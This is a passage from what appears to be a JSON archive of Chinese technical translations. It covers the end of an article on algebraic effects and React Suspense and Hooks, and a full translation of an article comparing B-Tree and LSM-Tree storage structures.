effect 出现，但无法追踪它们来自何处的情况了。\n\n您可能会认为代数效应在技术上会为静态类型语言中的函数[「赋予颜色」](https://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/)，因为 effect 是类型签名的一部分。确实如此。但是，「改动中间函数的类型声明以为其包含新 effect」本身并不是语义更改 —— 这与添加 `async` 或将函数转换为 generator 不同。类型推导还可以帮助避免级联更改。一个重要的区别是，您可以通过提供 noop 或 mock 实现（例如，为异步 effect 提供一个同步调用）来「填充」effect，来防止它在必要时到达外部代码，或者将其转换为不同的 effect。\n\n### 我们应该为 JavaScript 添加代数效应吗？\n\n老实说，我不知道。它们非常强大，你甚至可以说，它们可能对 JavaScript 这样的语言来说**太过**强大了。\n\n我认为它们非常适合那些不常出现变化（mutation）、标准库完全拥抱 effect 的语言。如果你主要做 `perform Timeout(1000)`、`perform Fetch('http://google.com')` 以及 `perform ReadFile('file.txt')` 这类工作，并且你的语言有模式匹配和静态 effect 类型，它可能是一个非常好的编程环境。\n\n也许这种语言甚至可以编译成 JavaScript！\n\n### 所有这些都与 React 相关？\n\n并没有那么相关。你甚至可以说这只是一些「延伸知识」。\n\n如果您看过[我关于 Time Slicing 和 Suspense 的探讨](https://reactjs.org/blog/2018/03/01/sneak-peek-beyond-react-16.html)，第二部分涉及从缓存中读取数据的组件：\n\n```js\nfunction MovieDetails({ id }) {\n  // 如果它仍然在 fetched 状态怎么办\n  const movie = movieCache.read(id);\n}\n```\n\n**(这场探讨使用了略有不同的 API ，但不重要。)**\n\n这构建于一个名为「Suspense」的 React 功能之上，该功能正积极地开发中，用于请求数据这种场景。当然，有趣的部分是 `movieCache` 中没有数据的情况 —— 在这种情况下我们需要做一些事情，因为我们现在无法继续了。从技术上讲，在这种情况下，`read()`调用会 throw 一个 Promise（没错，就是 **throw** 了一个 Promise —— 让它陷入其中）。这挂起（suspends）了执行。React 捕获到 Promise，并会记得在该 Promise 变为 resolve 后，重新尝试渲染组件树。\n\n即使这个技巧是[受其启发](https://mobile.twitter.com/sebmarkbage/status/941214259505119232)的，但这本身并不是代数效应。不过它实现了相同的目标：调用堆栈中的偏底层的一些代码直接触发了偏上层的一些代码（在这种情况下，为 React），而无需所有中间函数必须知道它为 `async` 或 generator 。当然，我们无法在 JavaScript 中真正地**恢复**（**resume**）执行，但从 React 的角度来看，这跟「当 Promise resolve 时重新渲染组件树」几乎是一回事。当你的编程模型[假设幂等](https://overreacted.io/react-as-a-ui-runtime/#purity)时，你就可以这么取巧！\n\n[Hooks](https://reactjs.org/docs/hooks-intro.html) 是另一个可能提醒你代数效应的例子。人们提出的第一个问题是：一个 `useState` 调用怎么可能知道它所指的是哪个组件？\n\n```js\nfunction LikeButton() {\n  // useState 怎么知道它在哪个组件里？\n  const [isLiked, setIsLiked] = useState(false);\n}\n```\n\n我已经在[这篇文章的末尾](https://overreacted.io/zh-hans/how-does-setstate-know-what-to-do/)解释了答案：React 对象（指你现在正在使用的实现（例如`react-dom`））上有一个「current dispatcher」这一可变状态。类似地，还有一个「current component」属性指向我们 `LikeButton` 的内部数据结构。这就是 `useState` 知道该怎么做的原因。\n\n在人们习惯之前，他们常常认为这有点「脏」，原因很明显。依靠共享的可变状态让人「感觉不太对」。**（旁注：您认为 `try / catch` 是如何在 JavaScript 引擎中实现的？）**\n\n但是，从概念上讲，您可以将 `useState()`视为：在 React 执行组件时的一个 `perform State()` effect。这将「解释」为什么 React（调用你的组件的东西）可以为它提供状态（它位于调用堆栈中，因此它可以提供 effect handler）。实际上，[实现状态](https://github.com/ocamllabs/ocaml-effects-tutorial/#2-effectful-computations-in-a-pure-setting)是我遇到的代数效应教程中最常见的例子之一。\n\n当然，这并不是 React 的**真实**工作方式，因为我们在 JavaScript 中没有代数效应。事实上：我们维持当前组件时，还维持了一个隐藏字段，以及一个指向携带 useState 具体实现的 current dispatcher 的字段。比如出于性能优化考虑，有独立的[为 mount 与 update](https://github.com/facebook/react/blob/2c4d61e1022ae383dd11fe237f6df8451e6f0310/packages/react-reconciler/src/ReactFiberHooks.js#L1260-L1290) 特供的 `useState` 实现。但是如果概括考量这段代码，你可能会把它们看做 effect handler。\n\n总而言之，在 JavaScript，throw 可以作为 IO effects 的粗略近似（只要以后可以安全地重新执行代码，并且不受 CPU 限制）；而具有可变的、在 `try / finally` 中被执行的「dispatcher」字段，可以作为 effect handler 的粗略近似值。\n\n您还可以[使用 generator](https://dev.to/yelouafi/algebraic-effects-in-javascript-part-4---implementing-algebraic-effects-and-handlers-2703) 来获得更高保真度的效果实现，但这意味着您必须放弃 JavaScript 函数的「透明」特性，并且您必须把各处都设置成 generator。这有点……emm\n\n### 了解更多\n\n就个人而言，我对代数效应对我有多大意义感到惊讶。我一直在努力理解像 Monads 这样的抽象概念，但代数效果突然让我「开窍」了。我希望这篇文章能帮助你也能对 Monads 等概念「开窍」。\n\n我不知道他们是否会进入主流采用阶段。如果它在 2025 年之前还没有被任何主流语言所采用，我想我会感到失望。请提醒我五年后再回来看看！\n\n我相信你可以用它们做更多的事情 —— 但是如果不用这种方式实际编写代码就很难理解它们的力量。如果这篇文章让你好奇，这里有一些你可能想要查看的资源：\n\n* [https://github.com/ocamllabs/ocaml-effects-tutorial](https://github.com/ocamllabs/ocaml-effects-tutorial)\n* [https://www.janestreet.com/tech-talks/effective-programming/](https://www.janestreet.com/tech-talks/effective-programming/)\n* [https://www.youtube.com/watch?v=hrBq8R_kxI0](https://www.youtube.com/watch?v=hrBq8R_kxI0)\n\n许多人还指出，如果忽略「类型」这个角度的话（正如我在本文中所做的那样），你可以在 Common Lisp 的[条件系统](https://en.wikibooks.org/wiki/Common_Lisp/Advanced_topics/Condition_System)中找到更早的现有技术。您可能也会喜欢 James Long 的 [post on continuations](https://jlongster.com/Whats-in-a-Continuation) 这篇文章，其解释了 `call / cc` 原语为何也可以作为在用户空间中构建可恢复异常的基础。\n\n如果您为 JavaScript 相关人士找到关于代数效应的其他有用资源，请在 Twitter 上告诉我！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/algorithms-behind-modern-storage-systems.md",
    "content": "> * 原文地址：[Algorithms Behind Modern Storage Systems](https://queue.acm.org/detail.cfm?id=3220266)\n> * 原文作者：[Alex Petrov](http://coffeenco.de/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/algorithms-behind-modern-storage-systems.md](https://github.com/xitu/gold-miner/blob/master/TODO1/algorithms-behind-modern-storage-systems.md)\n> * 译者：[LeopPro](https://github.com/LeopPro)\n> * 校对者：[zephyrJS](https://github.com/zephyrJS) [FesonX](https://github.com/FesonX)\n\n# 支撑现代存储系统的算法\n\n## 读优化 B-Tree 和写优化 LSM-Tree 的不同用途\n\n### 作者：Alex Petrov\n\n随着应用程序处理的数据量不断增长，扩展存储变得愈发具有挑战性。每个数据库系统都有自己的方案。为了从这些方案中做出正确的选择，了解它们是至关重要的。\n\n每个应用程序在读写负载平衡、一致性、延迟和访问模式方面各不相同。熟悉数据库和底层存储能帮助你进行架构决策、解释系统行为、排除故障以及根据具体情况调优。\n\n优化一个系统不可能做到面面俱到。我们当然希望有一个数据结构既能保证最佳的读写性能，又不需要任何存储开销，但显然，这是不存在的。\n\n本文深入讨论了大多数现代数据库中使用的两种存储系统设计 —— 读优化 [B-Tree](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.96.6637&rep=rep1&type=pdf) <sup><a href=\"#note1\">[1]</a></sup> 和写优化 [LSM(log-structured merge)-Tree](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.44.2782&rep=rep1&type=pdf) <sup><a href=\"#note5\">[5]</a></sup> —— 并描述了它们的用例和优缺权衡。\n\n### B-Tree\n\nB-Tree 是一种流行的读优化索引数据结构，是二叉树的泛化。它有许多变种，并且被用于多种数据库（包括 [MySQL InnoDB](https://dev.mysql.com/doc/refman/5.7/en/innodb-physical-structure.html) <sup><a href=\"#note4\">[4]</a></sup>、[PostgreSQL](http://www.interdb.jp/pg/pgsql01.html) <sup><a href=\"#note7\">[7]</a></sup>）甚至[文件系统](https://en.wikipedia.org/wiki/HTree)（HFS+ <sup><a href=\"#note8\">[8]</a></sup>、HTrees ext4 <sup><a href=\"#note9\">[9]</a></sup>）。B-Tree 中的 _B_ 代表原始数据结构的作者 _Bayer_，或是他当时就职的公司 _Boeing_。\n\n在[搜索二叉树](https://en.wikipedia.org/wiki/Binary_tree)中，每个节点都有两个孩子（称为左右孩子）。左子树的节点值小于当前节点值，右子树反之。为了保持树的深度最小，搜索二叉树必须是平衡的：当随机顺序的值被添加到树中时，如果不加调整，终会导致树的倾斜。\n\n一种平衡二叉树的方法是所谓的旋转：重新排列节点，将较深子树的父节点向下推到其子节点下方，并将该子节点拉上来，将其放在原父节点的位置。图 1 是平衡二叉树中的旋转示例。在左侧添加节点 2 后，二叉树失去平衡。为了使该树平衡，将其以节点 3 为轴旋转（树围绕它旋转）。然后节点 5（旋转前是根节点和节点 3 的父节点）成为其子节点。旋转完成后，左侧子树的深度减少 1，右侧子树的深度增加 1。树的最大深度已经减小。\n\n![支撑现代存储系统的算法](https://s1.ax1x.com/2018/05/18/C6yZiF.png)\n\n二叉树是最有用的内存数据结构。然而由于平衡（保持所有子树的深度最小）和低出度（每个节点最多两个子节点），它们在磁盘上水土不服。B-Tree 允许每个节点存储两个以上的指针，并通过将节点大小与页面大小（例如，4 KB）进行匹配来与块设备协同工作。今天的一些实现将使用更大的节点大小，跨越多个页面。\n\nB-Tree 有以下几个性质：\n\n• 有序。这允许顺序扫描并简化查找。\n\n• 自平衡。在插入和删除时不需要平衡树：当 B-Tree 节点已满时，它被分成两部分，并且当相邻节点的利用率低于某个阈值时，合并这两个节点。这也意味着各叶子节点与根节点的距离相等，并且在查找过程中定位的步数是相同的。\n\n• 对数级查找时间复杂度。查找时间是非常重要的，这使得 B-Tree 成为数据库索引的理想选择。\n\n• 易变。插入、更新、删除（包括因此导致的拆分和合并）过程在磁盘上进行。为了使就地更新成为可能，需要一定的空间开销。B-Tree 可以作为聚集索引，实际数据存储在叶子节点上，也可以作为非聚集索引，称为一个堆文件。\n\n本文讨论的 B+Tree <sup><a href=\"#note3\">[3]</a></sup> 是一种经常用于数据库存储的 B-Tree 现代变种。B+Tree 与原始 B-Tree <sup><a href=\"#note1\">[1]</a></sup> 的不同之处在于：(1)它采用额外链接的叶节点存储值；(2)值不能存储在内部节点上。\n\n#### 剖析 B-Tree\n\n我们先来仔细看看 B-Tree 的结构，如图 2 所示。B-Tree 的节点有几种类型：根节点，内部节点和叶子节点。根节点（顶部）是没有双亲的节点（即，它不是任何节点的子节点）。内部节点（中间）有双亲和孩子节点；他们将根节点和叶子节点连接起来。叶子节点（底部）持有数据并且没有孩子节点。图 2 描绘了分支因子为 4（4 个指针，内部节点中有 3 个键，叶上有 4 个键/值对）的 B-Tree。\n\n![支撑现代存储系统的算法](https://s1.ax1x.com/2018/05/18/C6qgs0.png)\n\nB-Tree 的特性如下：\n\n• 分支因子 —— 指向子节点的指针数(_N_)。除指针外，根节点和内部节点还持有 N-1 个键。\n\n• 利用率 —— 节点当前持有的指向子节点的指针数量与可用最大值之比。例如，若某树分支因子是 _N_，且其中某节点当前持有 _N/2_ 个指针，则该节点利用率为 50%。\n\n• 高度 —— B-Tree 的数量级，表示在查找过程中必须经过多少指针。\n\n树中的每个非叶节点最多可持有 _N_ 个键（索引条目），这些键将树分为 _N+1_ 个子树，这些子树可以通过相应的指针定位。项 _K<sub>i</sub>_ 中的指针 _i_ 指向某子树，该子树中包含所有 _K<sub>i-1</sub> <= K<sub>目标</sub> < K<sub>i</sub>_（其中 _K_ 是一组键）的索引项。首尾指针是特殊的，它们指向的子树中所有的项都小于等于最左子节点的 _K<sub>0</sub>_ 或大于最右子节点的 _K<sub>N-1</sub>_。叶子节点同时持有其同级前后节点的指针，形成兄弟节点间的双向链表。所有节点中的键总是有序的。\n\n#### 查找\n\n进行查找时，将从根节点开始搜索，并经过内部节点递归向下到叶子节点层。在每层中，通过指向子节点的指针将搜索范围缩小到某子树（包含搜索目标值的子树）。图 3 展示了 B-Tree 的一次从根到叶的搜索过程，指针在两个键之间，其中一个大于（或等于）搜索目标，另一个小于搜索目标。进行点查询时，搜索将在定位到叶子节点后完成。进行范围扫描时，遍历所找到的叶子节点的键和值，然后遍历范围内的兄弟叶子节点。\n\n![支撑现代存储系统的算法](https://s1.ax1x.com/2018/05/19/Cc6dRe.png)\n\n在复杂度方面，B-Tree 保证查询的时间复杂度为 _log(n)_，因为查找一个节点中的键使用二分查找，如图 4 所示。二进制搜索可以通俗的解释为在字典中查找以某字母开头的单词，字典中所有单词都按字母顺序排序。首先你翻开正好在字典中间的一页。如果要查找的单词字母顺序小于（在前面）当前页，你继续在字典的左半边查找；否则就继续在右半边查找。你继续像这样将剩余的页码范围分为一半，选择一边，直到找到期望的字母。每一步都将搜索范围减半，因此查找的时间复杂度为对数级。 B-Tree 节点上的键是有序的，且使用二分查找算法进行匹配，因此 B-Tree 的搜索复杂度是对数级的。这也说明了保持树的高利用率和统一访问的重要性。\n\n![支撑现代存储系统的算法](https://s1.ax1x.com/2018/05/19/CcRZy4.png)\n\n#### 插入、更新、删除\n\n进行插入时，第一步是定位目标叶子节点。此过程使用前序搜索算法。在定位目标叶子节点后，键和值将被添加至该节点。如果该节点没有足够的可用空间，这种情况称为溢出，则将叶子节点分割成两部分。这是通过分配一个新的叶子节点，将一半元素移动到新节点并将一个指向这个新节点的指针添加到父节点来完成的。如果父节点没有足够的空间，则也会在父节点上进行分割。操作一直持续到根节点为止。当根节点溢出时，其内容在新分配的节点之间被分割，根节点本身被覆盖以避免重定位。这也意味着树（及其高度）总是通过分裂根节点而增长。\n\n### LSM-Tree\n\n结构化日志合并树是一个不可变的基于磁盘的写优化数据结构。它适用于写入比查询操作更频繁的场景。LSM-Tree 已经获得了更多的关注，因为它可以避免随机插入，更新和删除。\n\n#### 剖析 LSM-Tree\n\n为了允许连续写入，LSM-Tree 在内存中的表（通常使用支持查找的时间复杂度为对数级的数据结构，例如二叉搜索树或跳跃表）中批量写入和更新，当其大小达到阈值时将它写在磁盘上（这个操作称为刷新）。检索数据时需要搜索树所有磁盘中的部分，检查内存中的表，合并它们的内容，然后再返回结果。图 5 展示了 LSM-Tree 的结构：用于写入的基于内存的表。只要内存表体积达到一定程度，内存表就会被写入磁盘。进行读取时，同时读取磁盘和内存表，通过一个合并操作来整合数据。\n\n![支撑现代存储系统的算法](https://s1.ax1x.com/2018/05/20/CgQ3cQ.png)\n\n#### 有序串行表\n\n因为 SSTable（有序串行表）的简单性（易于写入，搜索和读取）与合并性能（合并期间，扫描源 SSTable，合并结果的写入是顺序的），多数现代的 LSM-Tree 实现（例如 [RocksDB](https://en.wikipedia.org/wiki/RocksDB) 和 [Apache Cassandra](https://en.wikipedia.org/wiki/Apache_Cassandra)）都选用 SSTable 作为硬盘表。\n\nSSTable 是一种基于硬盘的有序不可变的数据结构。从结构上来看，SSTable 可以分为两部分：数据块和索引块，如图 6 所示。数据块包含以键为顺序写入的唯一键值对。索引块包含映射到数据块指针的键，指针指向实际记录的位置。为了快速搜索，索引一般使用优化的结构实现，例如 B-Tree 或用于点查询的哈希表。SSTable 中的每一个值都有一个时间戳与之对应。时间戳记录了插入、更新（这两者一般不做区分）和删除时间。\n\n![支撑现代存储系统的算法](https://s1.ax1x.com/2018/05/22/C2vwlD.png)\n\nSSTable 具有以下优点：\n\n• 通过查询主键索引可以实现快速的点查询（例如，通过键寻找值）。\n\n• 只需要顺序读取数据块上的键值对就可以实现扫描（例如，遍历制定范围内的键值对）。\n\nSSTable 代表一段时间内所有数据库操作的快照，因为 SSTable 是通过对内存表的**刷新**操作创建的，该表充当此时段内对数据库状态的缓冲区。\n\n#### 查询\n\n检索数据需要搜索硬盘上的所有 SSTable，检查内存表，并且合并它们的内容后返回结果。要搜索的数据可以存储在多个 SSTable 中，因此合并步骤是必须的。\n\n合并步骤也是确保删除和更新正常工作所必需的。在 LSM-Tree 中，通过插入占位符（通常称为**墓碑**）来指定哪个键被标记为删除。同样的，更新操作只是提交一个带较晚时间戳的记录。在读取期间，被标记删除的记录被跳过，不会返回给客户端。更新操作与之类似：在具有相同键的两个记录中，只返回具有较晚时间戳的记录。图 7 展示了一次合并操作，用于对在不同表中存储的同一个键的数据进行整合：如图，Alex 记录中时间戳是 100，随后更新了新的电话，时间戳为 200；John 记录被删除。另外两项没有改变，因为它们没有被覆盖。\n\n![支撑现代存储系统的算法](https://s1.ax1x.com/2018/05/23/CRyDYV.png)\n\n为了减少搜索 SSTable ，防止为了查找某个键而搜索每个 SSTable，许多存储系统采用一个被称为[布隆过滤器](https://en.wikipedia.org/wiki/Bloom_filter) <sup><a href=\"#note10\">[10]</a></sup> 的数据结构。这是一个概率数据结构，可用于测试某个元素是否属于某集合。它有可能产生错误的肯定（即，判断元素是集合的成员，但实际上并不是），但不能产生错误的否定（即，如果返回否定结果，则元素一定不是集合的成员）。换句话说，布隆过滤器用于判断键“可能在 SSTable 中”或“绝对不在 SSTable 中”。在搜索过程中，将会跳过布隆过滤器返回否定结果的 SSTable。\n\n#### LSM-Tree 的维护\n\n由于 SSTable 是**不可变**的，因此它们会按顺序写入，并且不存在用于修改的预留空白空间。这就意味着插入、更新或删除操作将需要重写整个文件。所有修改数据库状态的操作都在内存表中“批处理”。随着时间的推移，磁盘表的数量将增加（同一个键的数据位于几个不同文件，同一记录有多个不同的版本，被删除的冗余记录），读取操作的开销将变得越来越大。\n\n为了降低读取开销，整合被删除记录占用的空间并减少磁盘表的数量，LSM-Tree 需要一个**压缩**操作，从磁盘读取完整的 SSTable 并合并它们。由于 SSTable 是以键排序的，因此其压缩工作和归并排序类似，是非常高效的操作：从多个源有序序列中读取记录，进行合并后的输出马上追加到结果文件中，则结果文件也是有序的。归并排序的一个优点是，即使合并内存吃不消的大文件，它依旧可以高效地工作。结果表保留了原始 SSTable 的顺序。\n\n在此过程中，被合并的 SSTable 被丢弃并替换为其“压缩”后的版本，如图 8 所示。压缩多个 SSTable 并将它们合并为一个。某些数据库系统在逻辑层面上按大小把不同的表分为不同级别，分组到相同的“级别”，并在特定级别的表足够多时开始合并操作。压缩后，SSTable 的数量减少，提高查询效率。\n\n![支撑现代存储系统的算法](https://s1.ax1x.com/2018/05/27/Ch4JKI.png)\n\n### 原子性与持久性\n\n为了减少 I/O 操作并使它们顺序执行，无论是 B-Tree 还是 LSM-Tree 都在实际更新之前，先在内存中进行批量操作。这意味着，在故障情况时，数据完整性、**原子性**（将一系列操作赋予原子性，将它们视为一个操作，要么全部执行要么全不执行）、**持久性**（当进程崩溃或电源失效时，可以确保数据已经到达持久性存储设备）得不到保证。\n\n为了解决这个问题，大多数现代存储系统采用 WAL（预写日志）。WAL 的核心思想是，所有数据库状态改变都先持久化进硬盘中的只追加日志中。如果进程在工作中崩溃，将会重映日志以确保没有数据丢失且所有更改都满足原子性。\n\n在 B-Tree 中，使用 WAL 可以理解为仅在写入操作被记录后才将其写入数据文件。通常，B-Tree 存储系统的日志尺寸相对较小：只要将更改应用于持久存储，它们就可以被弃用。WAL 还可以作为运行时操作的备份：任何未应用于数据页的更改都可以根据日志记录重做。\n\n在 LSM-Tree 中，WAL 用于保存处于内存表但尚未完全刷新到磁盘上的更改。只要内存表被刷新完毕并置换，便可以在新创建的 SSTable 中进行读取操作，则 WAL 中从内存表刷新到硬盘上的那部分更改就可以丢弃了。\n\n### 总结\n\nB-Tree 和 LSM-Tree 数据结构最大的差异之一是，它们优化的目的以及优化的效果。\n\n我们来对比一下 B-Tree 和 LSM-Tree 之间的特性。总的来说，B-Tree 具有以下特性：\n\n• 它是可变的，它允许通过一些空间开销和更多的写入路径来进行就地更新，因而它不需要文件重写或多源合并。\n\n• 它是读优化的，这意味着它不需要从多个源数据中读取（也不需要合并），因而简化了读取路径。\n\n• 写操作可能引起级联节点分裂，这使得写操作开销较高。\n\n• 它针对分页环境（块存储）进行了优化，杜绝了字节定位操作。\n\n• 碎片化, 由频繁更新造成的碎片化可能需要额外的维护和块重写。然而对 B-Tree 的维护一般要比 LSM-Tree 要少。\n\n• 并发访问读写隔离，这涉及锁存器与锁链。\n\nLSM-Tree 具有以下特性：\n\n• 它是不可变的。SSTable 一旦被写入硬盘就不会再改变。压缩操作被用于整合占用空间，删除条目，合并在不同数据文件中的同键数据。作为压缩操作的一部分，在成功合并后，源 SSTable 将被弃用并删除。这种不可变性给我们带来了另一个有用的特性，刷新后的表可以被并发访问。\n\n• 它是写优化的，这意味着写入操作将进入缓冲，随后顺序刷新到硬盘上，可能支持基于硬盘的空间局部性。\n\n• 读取操作可能需要访问多个数据源，因为在不同时间写入的同一个键的数据有可能位于不同的数据文件中。必须经过合并过程才能将记录返回给客户端。\n\n• 需要维护 / 压缩，因为缓冲中的写入操作被刷新到硬盘上。\n\n### 评估存储系统\n\n开发存储系统总要面对类似的挑战，考虑类似的因素。决定优化方向会对结果产生很大影响。你可以在写入过程中花费更多时间来布局结构以实现更高效的读取，为就地更新预留空间，也可以缓冲数据确保顺序写入以提高写入速度。但是，一次完成这一切是不可能的。理想中的存储系统应该具有最低的读取成本，最低的写入成本，并且没有额外开销。但实际上，数据结构只能在多个因素之间权衡。理解这些取舍是重要的。\n\n来自哈佛 DASlab（数据系统实验室）的研究人员总结了数据库系统优化方向的关键三点：读取开销、更新开销和内存开销（或简称为 RUM）。对于数据结构、访问方法、甚至适用于某些工作负载的选择应该了解哪些参数对你的用例最为重要，因为算法是针对特定用例量身定制的。\n\n[RUM 假说](http://daslab.seas.harvard.edu/rum-conjecture/) <sup><a href=\"#note2\">[2]</a></sup> 为上述的两种开销设置了上限，同时为第三种设置了下限。例如，B-Tree 以提高写入开销、预留空间（同时也造成了内存开销）为代价进行读优化。LSM-Tree 以读取时必须进行多硬盘表访问的高读取开销换取低写入开销。在处于竞争三角形的三个参数中，一方面的改进可能就意味着另一方面的让步。图 9 对 RUM 假说进行了说明。\n\n![支撑现代存储系统的算法](https://s1.ax1x.com/2018/05/29/C4OA5n.png)\n\nB-Tree 优化读取性能：索引的布局方式可以最小化遍历树的磁盘访问需求。通过访问一个索引文件就可以定位数据。这是通过持续更新索引文件来实现的，但这也增加了由于节点拆分和合并，重定位以及碎片、不平衡相关的维护造成的额外写入开销。为了平稳更新成本并减少分割次数，B-Tree 在所有级别的节点上都预留有额外的空间。这有助于在节点饱和之前延迟写入开销的增长。简而言之，B-Tree 牺牲更新和内存性能以获得更好的读取性能。\n\nLSM-Tree 优化写入性能。无论是更新还是删除都需要在磁盘上定位数据（B-Tree 也一样），并且它通过在内存表中缓存所有插入，更新和删除操作来保证顺序写入。这是以较高的维护成本和压缩需求（这是唯一的缓解不断增长的读取开销和减少磁盘表的数量的方式）和更高的读取成本（因为数据必须从多个源读取并合并）为代价的。同时，LSM-Tree 通过不保留任何预留空间来减少内存开销（不同于 B-Tree 节点，其平均利用率为 70％，包含就地更新所需的开销），因为更高的利用率和最终文件的不变性，LSM-Tree 支持块压缩。简而言之，LSM-Tree 牺牲读取性能，提高维护成本来获得更好的写入性能和更低的内存占用。\n\n有的数据结构可针对每个期望的属性进行优化。使用自适应数据结构可以以更高维护成本获得更好的读取性能。添加有助于遍历的元数据（如[分散层叠](https://en.wikipedia.org/wiki/Fractional_cascading)）将会影响写入时间并占用更多空间，但可以提高读取性能。使用压缩优化内存使用率（例如，[Gorilla 压缩](http://www.vldb.org/pvldb/vol8/p1816-teller.pdf) <sup><a href=\"#note6\">[6]</a></sup> 、[delta 编码](https://en.wikipedia.org/wiki/Delta_encoding)等诸多算法）会增加一些开销，用于在写入时压缩数据并在读取时解压缩数据。有时候，你可以牺牲功能来提高效率。例如，[堆文件和散列索引](https://en.wikipedia.org/wiki/Database_storage_structures)由于文件格式简单，可以保证很好的性能和较小的空间开销，而作为代价，它们不支持除点查询以外的其他功能。你还可以通过使用近似数据结构（如布隆过滤器、[HyperLogLog](https://en.wikipedia.org/wiki/HyperLogLog)、[Count-Min sketch](https://en.wikipedia.org/wiki/Count%E2%80%93min_sketch) 等）来为了空间与效率牺牲精度。\n\n三种可变参数 —— 读取，更新和内存开销 —— 可以帮助你评估数据库并深入了解最适合的工作负载。它们都非常直观，将存储系统按其分类很容易，猜测它是如何执行的，然后通过大量测试验证你的假设。\n\n当然，评估存储系统时还有一些其他重要因素需要考虑，例如维护开销，易用性，系统要求，频繁增删的适应性，访问模式等。RUM 假说只是帮助发展直观感觉并提供初始方向的一条经验法则。了解你的工作部件是构建可扩展后端的第一步。\n\n一些因素可能因实施而异，甚至两个使用类似存储设计原则的数据库可能会有不同表现。数据库是包含许多可插拔模块的复杂系统，是许多应用程序的重要组成部分。这些信息将帮助你窥探数据库的底层，并且了解底层数据结构和其内部行为之间的差异，从而决定哪个是最适合你的。\n\n#### 参考文献\n\n<a name=\"note1\"></a>1. Comer, D. 1979. The ubiquitous B-tree. _Computing Surveys_ 11(2); 121-137; [http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.96.6637](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.96.6637&rep=rep1&type=pdf).\n\n<a name=\"note2\"></a>2. Data Systems Laboratory at Harvard. The RUM Conjecture; [http://daslab.seas.harvard.edu/rum-conjecture/](http://daslab.seas.harvard.edu/rum-conjecture/).\n\n<a name=\"note3\"></a>3. Graefe, G. 2011. Modern B-tree techniques. _Foundations and Trends in Databases_ 3(4): 203-402; [http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.219.7269&rep=rep1&type=pdf](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.219.7269&rep=rep1&type=pdf).\n\n<a name=\"note4\"></a>4. MySQL 5.7 Reference Manual. The physical structure of an InnoDB index; [https://dev.mysql.com/doc/refman/5.7/en/innodb-physical-structure.html](https://dev.mysql.com/doc/refman/5.7/en/innodb-physical-structure.html).\n\n<a name=\"note5\"></a>5. O'Neil, P., Cheng, E., Gawlick, D., O'Neil, E. 1996. The log-structured merge-tree. _Acta Informatica_ 33(4): 351-385; [http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.44.2782](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.44.2782&rep=rep1&type=pdf).\n\n<a name=\"note6\"></a>6. Pelkonen, T., Franklin, S., Teller, J., Cavallaro, P., Huang, Q., Meza, J., Veeraraghavan, K. 2015. Gorilla: a fast, scalable, in-memory time series database. _Proceedings of the VLDB Endowment_ 8(12): 1816-1827; [http://www.vldb.org/pvldb/vol8/p1816-teller.pdf](http://www.vldb.org/pvldb/vol8/p1816-teller.pdf).\n\n<a name=\"note7\"></a>7. Suzuki, H. 2015-2018. The internals of PostreSQL; [http://www.interdb.jp/pg/pgsql01.html](http://www.interdb.jp/pg/pgsql01.html).\n\n<a name=\"note8\"></a>8. Apple HFS Plus Volume Format; [https://developer.apple.com/legacy/library/technotes/tn/tn1150.html#BTrees](https://developer.apple.com/legacy/library/technotes/tn/tn1150.html#BTrees)\n\n<a name=\"note9\"></a>9. Mathur, A., Cao, M., Bhattacharya, S., Dilger, A., Tomas, A., Vivier, L. (2007). [The new ext4 filesystem: current status and future plans](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.111.798&rep=rep1&type=pdf). _Proceedings of the Linux Symposium_. Ottawa, Canada: Red Hat.\n\n<a name=\"note10\"></a>10. Bloom, B. H. (1970), [Space/time trade-offs in hash coding with allowable errors](https://dl.acm.org/citation.cfm?doid=362686.362692),_Communications of the ACM_, 13 (7): 422-426\n\n#### 相关文章\n\n**[五分钟法则：20 年后闪存将如何改写游戏规则](https://queue.acm.org/detail.cfm?id=1413264)**  \nGoetz Graefe, Hewlett-Packard 实验室  \n旧规则继续发展，而闪存增加了两条新规则。  \n[https://queue.acm.org/detail.cfm?id=1413264](https://queue.acm.org/detail.cfm?id=1413264)\n\n**[Disambiguating Databases](https://queue.acm.org/detail.cfm?id=2696453)**  \nRick Richardson  \n根据你的访问模型构建数据库。  \n[https://queue.acm.org/detail.cfm?id=2696453](https://queue.acm.org/detail.cfm?id=2696453)\n\n**[你做错了！](https://queue.acm.org/detail.cfm?id=1814327)**  \nPoul-Henning Kamp  \n你以为自己已经掌握了服务器性能的艺术了么？再想一想。  \n[https://queue.acm.org/detail.cfm?id=1814327](https://queue.acm.org/detail.cfm?id=1814327)\n\n**Alex Petrov** ([http://coffeenco.de/](http://coffeenco.de/), [@ifesdjeen (GitHub)](https://github.com/ifesdjeen) [@ifesdjeen (Twitter)](https://twitter.com/ifesdjeen))，一位 Apache Cassandra 